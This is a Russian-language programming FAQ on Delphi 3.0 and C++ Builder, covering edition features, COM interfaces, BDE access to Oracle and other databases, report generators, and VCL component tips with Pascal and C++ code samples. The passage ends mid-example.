• Визуальная библиотека компонентов (VCL) с более чем 100 компонентами, доступными для повторного использования методом 'drag-and-drop'

• Встроенный генератор отчетов, состоящий из компонентов, позволяющий создавать, просматривать и печатать отчеты без использования дополнительных внешних программ

• Использование ActiveX

• Поддержка COM и интерфейсов на уровне языка и компилятора

• Полная поддержка серверов и контроллеров OLE Automation

• Визуальное создание шаблонов для новых компонентов

• Упрощение кодирование и завершение кода с помощью CodeTemplates wizard, CodeCompletion wizard и CodeParameter wizard

• Быстрое вычисление выражений в ToolTip окошке для облегчения процесса отладки Отладка DLL для сокращений времени на разработку и отладку DLL

• Поддержка механизма многих источников данных для быстрого доступа к данным в любой СУБД

• Высокопроизводительные родные драйвера для доступа к данным MS Access, FoxPro, Paradox, dBase

• Компоненты для работы с данными для построения высокопроизводительных приложений, работающих с базами данных

• Увеличение скорости обмена с сервером за счет поддержки Cashed Updates

• Выделение бизнес логики в отдельный модуль данных

• Визуальное упраление базами данных с помощью Database Explorer

Delphi Professional 3.0

Delphi Professional 3.0 предназначается для разработчиков многопользовательских приложений. Данная версия включает в себя все, что имеется в Delphi Standard плюс:

• Исходный код VCL и печатные материалы для более качественного создания собственных компонентов

• Компоненты для построения графиков и диаграмм на основании данных, хранящихся в таблицах баз данных

• Визуальное создание элементов ActiveX для приложений, ориентированных на Web

• Визуальное создание элементов ActiveX для повышения степени повторного использования кода

• Полная поддержка доступа к данным через ODBC

• Обеспечение целостности данных с помощью Data Dictionary

• Возможность создавать и тестировать приложения, работающие с Local InterBase (одна пользовательская лицензия)

• Internet Solutions Pack для создание приложений, использующих ресурсы Web

• Install Shield Express для создания профессиональных инсталляторов

• Open Tools API для интеграции с вашими дополнительными утилитами

Delphi Client/Server Suite 3.0

Delphi Client/Server Suite 3.0 ориентирован на организации, разрабатывающие корпоративные системы, предназначенные для работы с данными, находящимися в базах данных серверов DB/2, Informix, Interbase, MS SQL Server, Oracle, Sybase. Сочетает в себе высокопроизводительный клиентский инструментарий и широкий набор средств работы с серверами БД. По сравнению с версией Client/Server Suite имеет следующие расширения:

• Набор компонентов DecisionCube для облегчения анализа данных, имеющих множество размерностей

• Высокопроизводительные SQL Links с неограниченной лицензией для доступа к данным Oracle, Sybase, Informix, MS SQL Server, InterBase, DB/2

• BDE Driver Development Kit для открытого доступа к любым механизмам баз данных через BDE

• Визуальное управление метаданными SQL сервера, включая хранимые процедуры и триггеры, с помощью SQL Database Explorer

• Тестирование, отладка и настройка производительности приложений, использующих средства SQL с помощью SQL Monitor

• Автоматическое создание правильных SQL выражений с помощью Visual Query Builder

• Возможность создавать и тестировать приложения, работающие с InterBase NT (четыре пользовательских лицензии)

• Легкое деление приложений на отдельные части при помощи Remote DataBroker

• Управление целостностью данных при помощи ConstraintBroker

• Высокоскоростное представление данных через WebServer

• Открытые решения для поддержки Netscape NSAPI и Microsoft ISAPI при помощи WebBridge

• Централизованная обработка информации при помощи WebModule и обработка запросов при помощи WebDispatch

• Распространение тонких клиентов, которым не требуется дополнительно ничего (даже BDE), использу WebDeploy

• Встроенный менеджер версий Intersolve PVCS для групповой разработки

• Эксперт для интеграции с CASE-средствами

• Data Pump эксперт для быстрого масштабирования приложений

2. Какие форматы скомпилированных модулей можно получить в Delphi 3.0?

Delphi может создавать EXE и DLL для Win32. Естественно, вы может также создавать OCX, но для этого нужно знать соглашения по написанию DLL в формате OCX.

Delphi может также создавать 32-разрядные консольные приложения для работы под Win32.

Вы можете создать package — это тоже DLL, но с некоторыми особенностями.

Если вы создаете ActiveX, то у вас появится файл с расширением DLL, который вы можете при желании переименовать в ActiveX. Также у вас автоматически появится файл TLB — это библиотека типов (Type Library), необходимая для поддержки нестандартных типов данных. Кроме того, вы можете создать TLB файл отдельно.

3. Какую модель данных использует Delphi?

Delphi 2.0 использует так называемую плавающую модель памяти (FLOAT), которая принята в Win 32. Отличительной особенностью данной модели памяти является линейная 32-разрядная адресация всего адресного пространства, которое может иметь соответственно размер до 4 Гбайт. При этом все указатели, адреса процедур, указатели на VMT также адресуются через 32-разрядные регистры.

Object Pascal и Windows API

1. Каким образом реализована поддержка COM/DCOM?

В языке Object Pascal появилось понятие интерфейса (interface). Описание интерфейса похоже на описание обычного класса, в нем не может быть указан спецификатор видимости. Список членов ограничен методами и свойствами, для чтения/записи которых используются методы. Поля в интерфейсе недопустимы. Типы параметров и возвращаемых значений ограничены типами, допустимыми в COM/DCOM, их полный перечень можно найти в on-line help.

Интерфейсы могут наследоваться, в соответствии с идеологией COM, допускается только одиночное наследование. Класс может реализовывать несколько интерфейсов, в этом случае он должен объявить методы, которые по типу параметров и возвращаемых значений совпадают с описанием методов соответствующего интерфейса.

Все интерфейсы имеют в качестве базового класса интерфейсный тип IUnknown, объявленный в модуле System следующим образом:

IUnknown = interface

  ['{00000000-0000-0000-C000-000000000046}']

  function QueryInterface(const IID: TGUID; out Obj): Integer; stdcall;

  function _AddRef: Integer; stdcall;

  function _Release: Integer; stdcall;

end;

Для поддержки OLE Automation также в модуле System имеется интерфейс IDispatch:

IDispatch = interface(IUnknown)

  ['{00020400-0000-0000-C000-000000000046}']

  function GetTypeInfoCount(out Count: Integer): Integer; stdcall;

  function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): Integer; stdcall;

  function GetIDsOfNames(const IID: TGUID; Names: Pointer;

    NameCount, LocaleID: Integer; DispIDs: Pointer): Integer; stdcall;

  function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;

    Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): Integer; stdcall;

end;

Для облегчения работы с COM имеется класс TInterfacedObject, который реализует методы, объявленные в интерфейсе IUnknown.

2. В Delphi 3.0 допускается множественное наследование классов?

Нет, нет и еще 1024 раза нет. Язык Object Pascal в Delphi 3.0 не позволяет вам наследовать класс от более чем одного класса. Строго говоря, вы всегда наследуете ваш новый класс ровно от одного уже имеющегося. Если вы явно не указываете базовый класс, то им становится TObject, стоящий таким образом в иерархии вообще всех классов.

Слухи о множественном наследовании идут из-за того, что в языке Object Pascal в Delphi 3.0 реализована поддержка интерфейсов для модели COM/DCOM. При этом новый класс может наследоваться от одного класса и реализовывать произвольное количество интефейсов. Соответствующее объявление нового типа:

TNewObject = class(TBaseObject, ISomeInterface, IAnotherInterface, IDummyInterface)

вызывает некоторую путаницу и может быть похожа на множественное наследование. Здесь можно провести анологию с языком Java. Интерфейсы в Delphi 3.0 похожи на интерфейсы в Java с отличием в том, что Java допускает множественное наследование интерфейсов, а Delphi — нет.

Фактически объявление интефейса представляет из себя кусочек таблицы виртуальных методов (VMT), который присоединяется к основной VMT класса.

Delphi, С++ Builder и базы данных: вопросы и ответы

Прошу вас рассказать, как подключать к Personal Oracle с помощью BDE. Для меня пока это остается загадкой.

Доступ к Personаl Oracle (как и к любой другой версии этой СУБД) осуществляется следующим образом.

Сначала нужно запустить сервер (в случае Personal Oracle для Windows 95 это отдельное приложение, в случае Oracle для Windows NT — набор сервисов, обслуживающих конкретную базу данных) и настроить клиентскую часть Oracle. Для этого следует запустить утилиту SQLNet Easy configuration (в случае Oracle 8 — Oracle Net8 Easy Config) и с ее помощью создать описание псевдонима базы данных Oracle (для него, как и в BDE, используется термин alias, но это не то же самое, что псевдоним BDE). При создании этого описания важны три параметра. Первый из них – сетевой протокол, с помощью которого осуществляется доступ к серверу Oracle (IPX/SPX, TCP/IP и др.). Второй параметр — местоположение сервера в сети. В случае Personal Oracle это обычно компьютер с IP-адресом 127.0.0.1 (это специальный адрес для доступа к локальному компьютеру, так называемый TCP loopback address). Третий параметр — имя базы данных. По умолчанию в случае Personal Oracle она называется ORCL. В общем случае имя может быть любым, но это должно быть имя уже существующей базы данных, с которой вы собираетесь работать. В принципе все описания псевдонимов Oracle хранятся в текстовом файле TNSNAMES.ORA, и можно редактировать его вручную.

Далее следует запустить утилиту SQL Plus и проверить соединение клиента с сервером. Обычно в качестве имени пользователя используется имя SYSTEM и пароль MANAGER (если вы сами администрируете сервер). Если же сервер был установлен раньше, есть смысл узнать у администратора базы данных, каким именем и паролем следует воспользоваться. Помимо имени пользователя и пароля, SQL Plus запросит так называемую строку связи, в которой должно содержаться имя сервиса, который был создан вами перед этим. При удачном соединении в SQL Plus появится соответствующее сообщение. Отметим, что утилита Oracle Net8 Easy Config позволяет протестировать соединение непосредственно в процессе создания описания сервиса. Если соединение с сервером было неудачным, стоит проверить, поддерживается ли указанный сетевой протокол и виден ли в сети компьютер, на котором установлен сервер, и, если нужно, внести изменения в описание сервиса.

Далее можно, наконец, заняться настройкой BDE. В качестве Server Name следует указать имя псевдонима Oracle (его можно просто выбрать из выпадающего списка, так как BDE Administrator также обращается к файлу TNSNAMES.ORA). После этого нужно проверить соединение с сервером через BDE с помощью BDE Administrator или SQL Explorer.

Если соединение не устанавливается и появляется сообщение "Vendor initialization failed", стоит убедиться, что динамическая загружаемая библиотека, указанная в параметре Vendor Init драйвера Oracle, действительно присутствует на данном компьютере. На всякий случай стоит скопировать ее в Windows\System, так как некоторые ранние версии BDE в Windows 95 не находят эту библиотеку в подкаталоге Bin каталога, в котором установлен клиент Oracle, в силу ограничений, налагаемых этой операционной системой на длину переменной окружения PATH. Отметим также, что при использовании Oracle 8 следует использовать версию не ниже 8.0.4; в случае использования более ранней версии следует обновить ее до 8.0.4.

Недавно я перешел на использование Oracle, и все мои попытки использовать компонент TStoredProc кончаются неудачей. Почему?

Причины неработоспособности компонента TStoredProc могут быть следующими. Во-первых, при использовании ODBC-доступа может оказаться, что применяемый вами ODBC-драйвер не поддерживает хранимые процедуры (как известно, не все ODBC-драйверы их поддерживают).

И во-вторых, имеется известная проблема, описание которой содержится в разделе Developers support корпоративного сайта Inprise. Дело в том, что число параметров хранимой процедуры, с которой взаимодействует компонент TStoredProc, не должно превышать 10. В случае, если реальное число параметров превышает 10, многие разработчики переписывают хранимые процедуры так, чтобы они использовали строковые параметры, содержащие по несколько реальных параметров.

Есть ли возможность в Delphi как-то корректно прервать выполнение SQL запроса к серверу Oracle с помощью BDE? Например, при использованиис SQL Plus после отправки на выполнение SQL-запроса на экране появляется окно с кнопкой Cancel, благодаря чему мы имеем возможность в любой момент прервать выполнение этого запроса. Можно ли что-то подобное сделать в Delphi?

Насколько мне известно, для этой цели лучше всего использовать функции Oracle Call Interface (низкоуровневый API Oracle). В комплекте поставки Oracle есть соответствующие примеры для C, и переписать их на Pascal несложно.

Некоторые драйверы SQL Link позволяют прекратить выполнение запроса, если время его выполнения превышает заранее заданное значение (параметр MAX QUERY TIME соответствующего драйвера). Однако драйвер ORACLE, к сожалению, не входит в их число.

Что необходимо предпринять, чтобы сгенерировать из ERwin таблицы для локальной базы данных Paradox 5.0? На компьютере установлены Delphi 4.0 и MetaBase.

Для этого требуется установить ODBC-драйвер для этой версии Paradox той же разрядности, что и ERwin. Затем нужно описать соответствующий ODBC-источник, и он будет доступен в ERwin.

Не могли бы Вы мне подсказать, как заблокировать функцию вставки записи непосредственно в компоненте TDBGrid с сохранением всех остальных возможностей редактирования таблицы.

Наиболее разумным представляется создать обработчик события BeforeInsert компонента TTable, TQuery или TClientDataSet, данные из которых отображаются в TDBGrid. Сам компонент TDBGrid не имеет подходящего события для обработки, так как это компонент, предназначенный только для создания пользовательского интерфейса, а в данном случае следует, по существу, запретить добавление записей в таблицу.

У меня в комплект Borland C++ Builder не входит Visual Query Builder. Могу ли я связать две таблицы без него?

Безусловно, можно связать две таблицы и без VQB. Самый простой способ – запустить Database Form Wizard и связать две таблицы, используя TQuery. Те два запроса, которые при этом получатся (один из них – параметризованный), можно использовать как образец.

Кроме того, можно просто написать вручную необходимый запрос к любому числу таблиц и поместить его в свойство SQL компонента TQuery. Все инструменты для генерации запросов (Visual Query Builder, SQL Builder и др.) просто предоставляют для этого визуальные средства, а результатом их работы является именно текст запроса, помещаемый в это свойство.

Я установил Borland C++ Builder 3.0 Client/Server Suite и InterBase Server 5.1.1. (автоматически с ним установился InterBase 5.x Driver by Visigenic). Но у меня не работают хранимые процедуры. То есть процедура правильно откомпилирована, и вызов ее из C++ Builder осуществляется с помощью выполнения оператора

StoredProc1->ExecProc();

При этом возникает следующая ошибка : "Capability not supported. General SQL error. [Visigenic][ODBC InterBase 4.x Driver] Driver not capable".

ODBC-драйвер может не поддерживать хранимые процедуры. В этом случае стоит попытаться использовать драйвер SQL Link (он должен быть в C++ Builder 3.0 Client/Server Suite). Для этого нужно создать для вашей базы данных псевдоним типа INTRBASE. В этом случае хранимые процедуры должны работать.

Если хранимые процедуры тем не менее остаются недоступными, стоит проверить, что и в какой последовательности было установлено на ваш компьютер. Такие неприятности могут быть, если, например, вы установили какой-либо продукт, написанный на Delphi 2, после C++Builder 3. В этом случае можно переустановить BDE, взяв его последнюю версию на сайте Inprise– все зарегистрированные пользователи C++ Builder 3.0 Client/Server Suite имеют право это сделать.

При удалении записей из таблицы dBase с помощью компонента TTable они просто приобретают признак удаления, и я никак не могу добиться их физического удаления. Как быть?

Ваша проблема решается просто — для физического удаления записей нужно использовать функцию DbiPackTable (ее описание есть в справочном файле BDE).

При добавлении новых записей с помощью TTable.AppendRecord в индексированную таблицу FoxPro через какое-то время (то есть при добавлении сразу большого количества записей) возникает ошибка: "Access to table disabled because of previous error. Read failure. File" <имя_файла.cdx>.

Возможно, причина заключается в том, что операции чтения-записи в файл, содержащий таблицу FoxPro, особенно при использовании кэширования, предоставляемого операционной системой, конфликтуют с содержимым индексного файла (это часто происходит при многопользовательской работе). Дело в том, что ранние версии dBase, FoxPro, Clipper работали с неподдерживаемыми индексами, то есть индексные файлы не обновлялись одновременно с таблицей, и для их синхронизации требовалось выполнять специальные операции. Но соответствующие средства разработки, применяемые в то время, обычно не поддерживали никаких аналогов транзакций – записи обычно вставлялись по одной.

В случае применения старых версий формата FoxPro следует избегать кэширования при выполнении дисковых операций с файловым сервером, содержащим базу данных FoxPro. Кроме того, следует проверить и, если необходимо, изменить в настройках BDE параметры MINBUFSIZE, MAXBUFSIZE, LOCAL SHARE – возможно, проблема заключается в недостаточной величине буферов BDE для кэширования данных или в одновременном доступе к данным приложений, использующих и не использующих BDE.

Еще одним из способов решения этой проблемы (самым радикальным) является замена FoxPro на какую-нибудь из серверных СУБД. Например, IB Database неплохо справляется с одновременным вводом большого количества записей благодаря некоторым специфическим особенностям архитектуры этого сервера.

Позволяет ли QuickReport выгружать данные в формате Microsoft Excel?

Quick Report не позволяет выгружать данные в формате Microsoft Excel. Но последние его версии позволяют сохранять отчеты в формате CSV (Comma Separated Value) и HTML, и оба эти формата можно прочесть с помощью Excel.

Помимо этого, для генерации отчета можно использовать автоматизацию Excel, вообще не прибегая к использованию QuickReport.

Как можно создать свою форму просмотра отчетов QuickReport в С++Builder?

Для создания собственных окон просмотра отчета можно использовать компонент TQRPreview. Для этой цели следует создать форму (назовем ее PreviewForm), поместить на нее компонент TQRPreview, сослаться на нее в форме, содержащей отчет, и в форме, из которой вызывается просмотр отчета. Код для показа отчета выгладит примерно так:

void __fastcall TForm1::Button1Click(TObject *Sender) {

 PreviewForm->Show();

 QuickReport1->Preview();

}

Далее создадим обработчик события OnPreview компонента TQuickRep:

void __fastcall TQuickReport1::QuickReport1Preview(TObject *Sender) {

 PreviewForm->QRPreview1->QRPrinter = QuickReport1->QRPrinter;

}

После этого данный отчет будет появляться не в стандартном окне просмотра, а в форме PreviewForm.

Возможно ли использование компонентов Decision Support System при генерации отчетов в QuickReport и, если можно , то каким образом? Если QuickReport не подходит для этих целей, то какие другие варианты Вы можете посоветовать?

Самый простой способ – использовать компоненты TQRLabel, текст в которых динамически меняется во время печати (то есть способ, которым можно напечатать все, что угодно, написав при этом немного кода). В принципе можно двумерное сечение куба записать во временную таблицу или в компонент TClientDataSet, написав соответствующий цикл, и сделать отчет на ее основе. Использование DecisionQuery в качестве источника данных для отчета также вполне возможно. Другие возможные варианты – это использование автоматизации Word или Excel, либо вычисление сумм внутри отчета. Можно также использовать другие генераторы отчетов – например, с помощью Crystal Reports можно создавать отчеты, содержащие кросс-таблицы.

Как корректно подключить Crystal Reports к Delphi?

В составе Crystal Reports Professional имеется VCL-компонент для Delphi, элемент управления ActiveX, модуль CRPE32.PAS, котором объявлены все функции и структуры Print Engine API, и описание опубликованных методов Crystal Reports как сервера автоматизации. Соответственно есть следующие возможности подключения Crystal Reports к Delphi:

1. Использование функций Report Engine API из библиотеки CRPE32 DLL. В этом случае следует добавить в проект модуль CRPE32.PAS и сослаться на этот модуль в предложении uses. Ниже приведен пример соответствующего кода:

procedure TForm1.Button1Click(Sender: TObject);

VAR RepNam:PChar;

begin

if   OpenDialog1.Execute then

begin

If PEOpenEngine then

     begin RepNam := StrAlloc(80);

        StrPCopy(RepNam, OpenDialog1.Filename);

        JN := PEOpenPrintJob(RepNam);

          if JN   = 0 then

               ShowMessage('Ошибка открытия отчета');

            StrDispose(RepNam);

            end

         else

             ShowMessage('Ошибка открытия отчета');

end;

end;

procedure TForm1.Button2Click(Sender:  TObject);

begin

PEClosePrintJob(JN);

PECloseEngine;

Close;

end;

procedure TForm1.Button3Click(Sender:   TObject);

begin

PEOutputToWindow(jn,'Пример использования Crystal Reports Print

Engine',30,30,600,400,0,0) ;

     if PEStartPrintJob(JN, True) = False then

          ShowMessage('Ошибка   вывода отчета');

end;

end.

Следует помнить, что строковые параметры, передаваемые в функции Print Engine API, представляют собой тип данных PChar, а не стандартные строки, используемые в Pascal, поэтому для передачи таких параметров, как, например, имя отчета, следует осуществить преобразование типов с помощью функции StrPCopy. Для успешной компиляции подобных приложений файл CRPE32.PAS должен находиться в том же каталоге, что и разрабатываемое приложение, либо в каталоге Delphi\Lib.

2. Использование VCL-компонента и комплекта поставки (для этого следует установить его в палитру компонентов Delphi). Естественно, этот компонент инкапсулирует те же самые функции Print Engine API. Существуют также аналогичные компоненты третьих фирм (например, компонент от SupraSoft Ltd., ).

3. Использование элемента управления Crystal Reports ActiveX. Этот элемент управления может быть установлен в палитру компонентов Delphi. Он обладает набором свойств и методов, более или менее сходным с соответствующим VCL-компонентом из комплекта поставки Crystal Reports Professional.

5. Использование Crystal Reports как сервера автоматизации. В справочной системе Crystal Reports имеется подробное описание иерархии вложенных объектов и их методов (и внушительный набор примеров для Visual Basic, аналоги которых несложно создать и на Pascal). Ниже приведен пример соответствующего кода:

procedure TForm1.Button1Click(Sender: TObject);

var r,rep: Variant;

begin

     rep:=CreateOleObject('Crystal.CRPE.Application');

     r:=rep.OpenReport('d:\Report2.rpt');

     r.RecordSelectionFormula := '{items.ItemNo} = '+Edit1.Text;

     r.Preview;

     r:=Unassigned;

     rep:=Unassigned;

end;

6. Можно также сделать отчет в виде исполняемого файла и вызвать его из приложения. Но в этом случае в отчет не удастся передать параметры.

Delphi VCL FAQ

Вопрос:

Как разместить прозрачную надпись на TBitmap?

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var

 OldBkMode : integer;

begin

 Image1.Picture.Bitmap.Canvas.Font.Color := clBlue;

 OldBkMode := SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,TRANSPARENT);

 Image1.Picture.Bitmap.Canvas.TextOut(10, 10, 'Hello');

 SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,OldBkMode);

end;

Вопрос:

Можно ли обратиться к колонке или строке grid'а по заголовку?

Ответ:

В следующем примере приведены две функции: GetGridColumnByName() и GetGridRowByName(), которые возвращают колонку или строку, имеющую заданный заголовок (caption).

Пример:

procedure TForm1.FormCreate(Sender: TObject);

begin

 StringGrid1.Rows[1].Strings[0] := 'This Row';

 StringGrid1.Cols[1].Strings[0] := 'This Column';

end;

function GetGridColumnByName(Grid : TStringGrid; ColName : string): integer;

var

 i : integer;

begin

 for i := 0 to Grid.ColCount - 1 do if Grid.Rows[0].Strings[i] = ColName then  begin

  Result := i;

  exit;

 end;

 Result := -1;

end;

function GetGridRowByName(Grid : TStringGrid; RowName : string): integer;

var

 i : integer;

begin

 for i := 0 to Grid.RowCount - 1 do if Grid.Cols[0].Strings[i] = RowName then begin

  Result := i;

  exit;

 end;

 Result := -1;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

 Column : integer;

 Row : integer;

begin

 Column := GetGridColumnByName(StringGrid1, 'This Column');

 if Column = -1 then ShowMessage('Column not found')

 else ShowMessage('Column found at ' + IntToStr(Column));

 Row := GetGridRowByName(StringGrid1, 'This Row');

 if Row = -1 then ShowMessage('Row not found')

 else ShowMessage('Row found at ' + IntToStr(Row));

end;

Вопрос:

Как использовать клавишу-акселератор в TTabsheets? Я добавляю клавишу-акселератор в заголовок каждого Tabsheet моего PageControl, но при попытке переключать страницы этой клавишей программа пикает и ничего не происходит.

Ответ: Можно перехватить сообщение CM_DIALOGCHAR.

Пример:

type TForm1 = class(TForm)

 PageControl1: TPageControl;

 TabSheet1: TTabSheet;

 TabSheet2: TTabSheet;

 TabSheet3: TTabSheet;

private {Private declarations}

 procedure CMDialogChar(var Msg:TCMDialogChar); message CM_DIALOGCHAR;

public

  {Public declarations}

end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CMDialogChar(var Msg:TCMDialogChar);

var

  i : integer;

begin

 with PageControl1 do begin

  if Enabled then for i := 0 to PageControl1.PageCount - 1 do if ((IsAccel(Msg.CharCode, Pages[i].Caption)) and (Pages[i].TabVisible)) then begin

   Msg.Result:=1;

   ActivePage := Pages[i];

   exit;

  end;

 end;

 inherited;

end;

Вопрос:

При использованиии компонента TRegistry под NT пользователь с права доступа ниже чем "администратор" не может получить доступа к информации реестра в ключе HKEY_LOCAL_MACHINE. Как это обойти?

Ответ:

Проблема вызвана тем, что TRegistry всегда открывает реестр с параметром KEY_ALL_ACCESS (полный доступ), даже если необходим доступ KEY_READ (только чтение). Избежать этого можно используя функции API для работы с реестром (RegOpenKey и т.п.), или создать новый класс из компонента TRegestry, и изменить его так чтобы можно было задавать режим открытия реестра.

Вопрос:

Можно ли изменить число колонок и их ширину в компоненте TFileListBox?

Ответ:

В приведенном примере FileListBox приводится к типу TDirectoryListBox — таким образом можно добавиь дополнительные колонки.

Пример:

with TDirectoryListBox(FileListBox1) do begin

 Columns := 2;

 SendMessage(Handle, LB_SETCOLUMNWIDTH, Canvas.TextWidth('WWWWWWWW.WWW'),0);

end;

Вопрос:

Как настроить табуляцию в компоненте TMemo?

Ответ:

Пошлите в Memo сообщение EM_SETTABSTOPS. Например установим первую позицию табуляции на 20-й пиксел.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

var

 DialogUnitsX : LongInt;

 PixelsX : LongInt;

 i : integer;

 TabArray : array[0..4] of integer;

begin

 Memo1.WantTabs := true;

 DialogUnitsX := LoWord(GetDialogBaseUnits);

 PixelsX := 20;

 for i := 1 to 5 do begin

  TabArray[i - 1] :=((PixelsX * i ) * 4) div DialogUnitsX;

 end;

 SendMessage(Memo1.Handle, EM_SETTABSTOPS,5,LongInt(@TabArray));

 Memo1.Refresh;

end;

Вопрос:

Как перехватить нажатия функциональных клавиш и стрелок?

Ответ:

Проверяйте значение переменной key на равенство VK_RIGHT, VK_LEFT, VK_F1 и т.д. на событии KeyDown формы.

Пример:

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

 if Key = VK_RIGHT then Form1.Caption := 'Right';

 if Key = VK_F1 then Form1.Caption := 'F1';

end;

Вопрос:

При обработке события DrawCell компонента DrawGrid я пишу Font.Color := clRed; и получаю бесконечный цикл мерцаний. Почему?

Ответ:

Правильно укажите границы используемого канваса.

Пример:

If (Row = 0) then begin

 DrawGrid1.Canvas.Font.Color := clRed;

 DrawGrid1.Canvas.TextOut(Rect.Left,Rect.Top, IntToStr(Col));

end;

Вопрос:

При использовании BitBtn Caption(текст) и картинка(bitmap) из файла не видны одновременно. Почему?

Ответ:

Это может происходить если картинка слишком велика. Класс TBitBtn сначала рисует картинку, а затем выводит текст над, под, слева или справа от картинки (в завивимости от свойства Layout). Если размер картинки такой же как у всей кнопки для вывода текста просто не остается места. Если Вам нужно получить кнопку такого же размера как Ваша картинка и видеть при этом надпись на кнопке Вам придется выводить текст надписи непосредственно на канву картинки.

Пример:

var

 bm : TBitmap;

 OldBkMode : integer;

begin

 bm := TBitmap.Create;

 bm.Width := BitBtn1.Glyph.Width;

 bm.Height := BitBtn1.Glyph.Height;

 bm.Canvas.Draw(0, 0, BitBtn1.Glyph);

 OldBkMode := SetBkMode(bm.Canvas.Handle, Transparent);

 bm.Canvas.TextOut(0, 0, 'The Caption');

 SetBkMode(bm.Canvas.Handle, OldBkMode);

 BitBtn1.Glyph.Assign(bm);

end;

Вопрос:

Можно ли изменить вид текстового курсора (каретки) edit'а или другого элемента управления Windows?

Ответ:

Можно! В примере показано как создать два цветных "bitmap'а": "улыбчивый" и "хмурый" и присвоить их курсору edit'а. Для этого нужно перехватить оконную процедуру edit'а. Чтобы сделать это заменим адрес оконной процедуры Edit'а нашим собственным, а старую оконную процедуру будем вызывать по необходимости. Пример показывает "улыбчивый" курсор при наборе текста и "хмурый" при забое клавишей backspace.

Пример:

unit caret1;

interface

{$IFDEF WIN32}

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

{$ELSE}

uses WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

{$ENDIF}

type TForm1 = class(TForm)

 Edit1: TEdit;

 procedure FormCreate(Sender: TObject);

 procedure FormDestroy(Sender: TObject);

private

 {Private declarations}

public

 {Public declarations}

 CaretBm : TBitmap;

 CaretBmBk : TBitmap;

 OldEditsWindowProc : Pointer;

end;

var Form1: TForm1;

implementation

{$R *.DFM}

type

{$IFDEF WIN32}

 WParameter = LongInt;

{$ELSE}

 WParameter = Word;

{$ENDIF}

LParameter = LongInt;

{New windows procedure for the edit control}

function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter; ParamW : WParameter; ParamL : LParameter) : LongInt

{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}

begin

 {Call the old edit controls windows procedure}

 NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc, WindowHandle, TheMessage, ParamW, ParamL);

 if TheMessage = WM_SETFOCUS then begin

  CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);

  ShowCaret(WindowHandle);

 end;

 if TheMessage = WM_KILLFOCUS then begin

  HideCaret(WindowHandle);

  DestroyCaret;

 end;

 if TheMessage = WM_KEYDOWN then begin

  if ParamW = VK_BACK then CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0)

  else CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);

  ShowCaret(WindowHandle);

 end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

 {Create a smiling bitmap using the wingdings font}

 CaretBm := TBitmap.Create;

 CaretBm.Canvas.Font.Name := 'WingDings';

 CaretBm.Canvas.Font.Height := Edit1.Font.Height;

 CaretBm.Canvas.Font.Color := clWhite;

 CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2;

 CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2;

 CaretBm.Canvas.Brush.Color := clBlue;

 CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width, CaretBm.Height));

 CaretBm.Canvas.TextOut(1, 1, 'J');

 {Create a frowming bitmap using the wingdings font}

 CaretBmBk := TBitmap.Create;

 CaretBmBk.Canvas.Font.Name := 'WingDings';

 CaretBmBk.Canvas.Font.Height := Edit1.Font.Height;

 CaretBmBk.Canvas.Font.Color := clWhite;

 CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2;

 CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2;

 CaretBmBk.Canvas.Brush.Color := clBlue;

 CaretBmBk.Canvas.FillRect(Rect(0,0, CaretBmBk.Width, CaretBmBk.Height));

 CaretBmBk.Canvas.TextOut(1, 1, 'L');

 {Hook the edit controls window procedure}

 OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle,GWL_WNDPROC, LongInt(@NewWindowProc)));

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

 {Unhook the edit controls window procedure and clean up}

 SetWindowLong(Edit1.Handle,GWL_WNDPROC, LongInt(OldEditsWindowProc));

 CaretBm.Free;

 CaretBmBk.Free;

end;

Вопрос:

При использовании модулей доступа к BDE (DbiTypes, DbiProcs, DbiErrs), любая попытка вызвать процедуру abort выдает ошибку при компиляции при вызове метода abort "Statement expected, but expression of type 'Integer' found". Я пытался найти DbiTypes.pas, DbiProcs.pas и DbiErrs.pas чтобы разобраться но не нашел этих файлов. Где расположены эти файлы и как обойти ошибку?

Ответ:

Модули DbiTypes, DbiProcs, DbiErrs это псевдонимы модуля "BDE", обьявлены в Projects→Options→Directories/Conditionals→Unit Aliases. Исходник модуля DBE находится в каталоге "doc" и называется "BDE.INT". В этом файле обьявленна константа ABORT со значением -2. Так как Вы хотите использовать процедуру Abort(), которая обьявлена в модуле SysUtils, Вам нужно добавить префикс SysUtils перед вызовом процедуры Abort.

Пример:

SysUtils.Abort;

Вопрос:

Почему при изменении цвета букв StatusBar'а ничего не происходит?

Ответ:

Status bar — стандартный элемент управления Windows, и соответственно цвет его букв — значение clBtnText которое изменяется с помощью настроек в Control Panel. Этот цвет черный по умолчанию и может изменяться в зависимости от выбранной цветовой схемы. Другие стандартные элемент управления Windows, например кнопки, также имеют цвет букв, настраиваемый из ControlPanel. StatusBar и его панели имеют свойство "owner-draw", позволяющее Вам использовать любой цвет букв.

Пример:

procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar; Panel: TStatusPanel; const Rect: TRect);

begin

 if Panel = StatusBar.Panels[0] then begin

  StatusBar.Canvas.Font.Color := clRed;

